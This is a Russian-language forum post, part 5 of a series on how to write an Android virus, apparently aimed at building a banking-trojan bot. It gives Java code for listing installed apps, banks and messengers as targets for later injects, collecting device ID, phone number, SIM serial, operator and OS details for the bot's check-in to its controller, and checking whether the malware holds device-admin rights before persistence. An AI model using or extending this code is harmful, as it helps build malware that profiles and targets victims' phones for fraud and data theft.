Как написать вирус для Андроид. Часть 5

Admin

ufo
Administrator
12.08.2016
636
402
#1
Доброго времени суток, в предыдущих статьях мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, месенджеров, банков и так далее.
Первым делом окинем взором окрестности, напишем простой и незамысловатый код:
Код:
PackageManager pm = cnt.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo packageInfo : packages) {
   try{   
       //packageInfo.packageName
       //packageInfo.sourceDir
       //pm.getLaunchIntentForPackage(packageInfo.packageName)
   } catch (JSONException e) {
   }
}
packageInfo.packageName – это имя пакета
packageInfo.sourceDir – путь к корневой папке приложения
pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой
Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Try и JSONException использовать не обязательно.

Собираем информацию о системе
Создаем объект телефонного менеджера.
Код:
TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
Код:
tm.getDeviceId()
Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.
Код:
tm.getNetworkCountryIso()
Получаем страну устройства
Код:
tm.getSimOperatorName()
Получаем сотового оператора.
Код:
android.os.Build.VERSION.RELEASE
Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.хтелефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

Пример:
Код:
if(Build.VERSION.SDK_INT >= 19) {
//работаем с версией 4.х
}else{
//работаем с версией 2.х
}
Код:
android.os.Build.MODEL
Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.
Код:
tm.getLine1Number()
Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.
Код:
tm.getSimSerialNumber()
Серийный номер сим карты.
Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.
Код:
DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
ComponentName componentName = new ComponentName(context, CAdm.class);
if (!deviceManager.isAdminActive(componentName)) {
//нету админа
}else{
//есть админ
}
Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.